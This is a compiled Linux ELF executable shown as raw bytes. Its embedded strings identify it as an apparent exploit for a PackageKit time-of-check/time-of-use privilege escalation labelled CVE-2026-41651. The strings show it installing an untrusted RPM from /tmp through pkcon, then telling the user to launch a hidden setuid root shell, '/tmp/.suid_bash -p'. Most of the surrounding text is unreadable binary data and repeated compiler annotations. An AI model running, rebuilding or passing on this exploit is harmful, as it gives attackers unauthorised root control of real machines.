ELF

>
�@@8@@8	@@@@@@�
�
88@8@

@@@
@
 
�
�
`�
`�� �
�
`�
`TT@T@DDP�td@@<<Q�tdR�td�
�
`�
`@@
/lib64/ld-linux-x86-64.so.2
GNUGNU&s-��U!��2���N��

�@ 

��|CE���qX� ����  < ���P`�L`�L`libgio-2.0.so.0__gmon_start___ITM_deregisterTMCloneTable_ITM_registerTMCloneTablelibgobject-2.0.so.0libglib-2.0.so.0libpthread.so.0libc.so.6execlputschmodsystemsleepaccess__libc_start_main_edata__bss_start_endGLIBC_2.2.5







�ui	��`�`�`�``
 `(`0`8`	@`
��H��H��	 H��t��H����5�	 �%�	 @�%�	 h����%�	 h
�����%�	 h����%�	 h����%�	 h����%z	 h���H���	@�����	@�����	@�����
@�����
@�z�����@�����
@�������1���@�����u8��	��@�-����8@�3���1ɺ@1��@��@�+���1�H��ÿ@�
����`@������@�����@��1�I��^H��H���PTI��@H��@H���@�* ����f.��H�=y H�r H9�tH� H��t	�����H�=I H�5B H)�H��H��H��?H
�H�tH�� H��t��fD�����=
 uUH���z����� 
]�ff.�@���f.���AWI��AVI��AUA��ATL�%$ UH�-$ SL)�H�����H��t1��L��L��D��A��H��
H9�u�H��[]A\A]A^A_�ff.������H��H���
═══════════════════════════════════════════════════ CVE-2026-41651 — PackageKit TOCTOU LPE (Forced RPM)═══════════════════════════════════════════════════
[*] Forcing RPM mode on AlmaLinux...[*] Trying to trigger PackageKit...
pkcon install-local --allow-untrusted /tmp/*.rpm 2>/dev/null || echo '[-] pkcon failed'[+] SUCCESS! Try: /tmp/.suid_bash -pPackageKit is present but the payload didn't trigger.This often happens on RHEL/AlmaLinux with the public PoC.pkcon refresh 2>/dev/null/tmp/.suid_bash-prootbash[-] Failed.
;8D���|�����t���T����hd�������

zR
x
�
���/D04���$D����pFJw�?;*3$"l����D�
AD�����eF�E�E �E(�H0�H8�G@n8A0A(B BBB�����p@@@


V
j
{
�8@
�@�
`�
`���o�@@�@
�`��@H@`	���o(@���o
�o@�
`v@�@�@�@�@�@GCC: (GNU) 8.5.0 20210514 (Red Hat 8.5.0-28)
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY�
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY�
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY�
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY�
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY�
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY�
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign


GA*FORTIFY��@�@

GA+GLIBCXX_ASSERTIONS�@�@
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY�
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY�
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY�
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY�
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign
GA$
3a1�@�@
GA$
3a1�@�@
GA$
3a1�@�@
GA$
3a18@N@
GA$
3a1�@	@
GA$
3a1�@v@
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign


GA*FORTIFY�@�@

GA+GLIBCXX_ASSERTIONS�@�@


GA*FORTIFY�@�@

GA+GLIBCXX_ASSERTIONS�@�@
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign
GA$
3p1113�@�@
GA$running gcc 8.5.0 20210514
GA$annobin gcc 8.5.0 20210514
GA$plugin name: gcc-annobin
GA*GOW*
GA*
GA+stack_clash
GA*cf_protection

GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA*
GA!
GA+omit_frame_pointer
GA*
GA!stack_realign
GA$
3a1�@�@
GA$
3a1�@�@
GA$
3a1N@S@
GA$
3a1	@	@
8@T@t@�@�@@@(@	H@
�@8@`@
�@�@	@@X@�
`�
`�
`�``H`L`P�
�=
�@M
�@a
�@u
�@�
�@�
�@�
�@�
�@�
�@

�@%

�@=

�@Y

�@u

�@�

�@�

�@�

�@�

�@
�@<
�@]
�@�
�@���
�@�
�@�
�@�
�@
�@2
�@S
�@o
�@�
�@�
�@�
�@�
�@

�@ 
�@=�N�Y
�@[
@n
@@�
L`
�
�
`�
p@�
�
`N��
<
@��@
`�
`-�
`@
�
` H`I\
�@
�@/l {f�@���� �	@� H`%8P`D	@Q
�@eaL`m
�@T
P`��L`�
�@�[8@/usr/lib/gcc/x86_64-redhat-linux/8/../../../../lib64/crt1.o.annobin_init.c.annobin_init.c_end.annobin_init.c.hot.annobin_init.c_end.hot.annobin_init.c.unlikely.annobin_init.c_end.unlikely.annobin_init.c.startup.annobin_init.c_end.startup.annobin_init.c.exit.annobin_init.c_end.exit.annobin_static_reloc.c.annobin_static_reloc.c_end.annobin_static_reloc.c.hot.annobin_static_reloc.c_end.hot.annobin_static_reloc.c.unlikely.annobin_static_reloc.c_end.unlikely.annobin_static_reloc.c.startup.annobin_static_reloc.c_end.startup.annobin_static_reloc.c.exit.annobin_static_reloc.c_end.exit.annobin__dl_relocate_static_pie.start.annobin__dl_relocate_static_pie.endelf-init.oS.annobin_elf_init.c.annobin_elf_init.c_end.annobin_elf_init.c.hot.annobin_elf_init.c_end.hot.annobin_elf_init.c.unlikely.annobin_elf_init.c_end.unlikely.annobin_elf_init.c.startup.annobin_elf_init.c_end.startup.annobin_elf_init.c.exit.annobin_elf_init.c_end.exit.annobin___libc_csu_init.start.annobin___libc_csu_init.end.annobin___libc_csu_fini.start.annobin___libc_csu_fini.endcve-2026-41651.ccrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7303__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entry__FRAME_END____GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___init_array_end__init_array_start_DYNAMICchmod@@GLIBC_2.2.5__libc_csu_fini__gmon_start__puts@@GLIBC_2.2.5execl@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5system@@GLIBC_2.2.5_ITM_deregisterTMCloneTable_IO_stdin_used_ITM_registerTMCloneTable__data_startsleep@@GLIBC_2.2.5__TMC_END____dso_handle__libc_csu_init__bss_start_dl_relocate_static_pieaccess@@GLIBC_2.2.5_edatamain.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.got.plt.data.bss.comment.gnu.build.attributes
8@8
#T@T 1t@t$D���o�@�0N�@�P

V@�
^���o@k���o(@( 
zH@H`�B�@���
8@8�
`@`p�
�@�%�
�@�
�
	@	�
@<�
X@X���
`�
��
`�
��
`�
�
�`� �
`H�
H`H
�L`L
�
0L-


P�|�
p.
R	x8�
?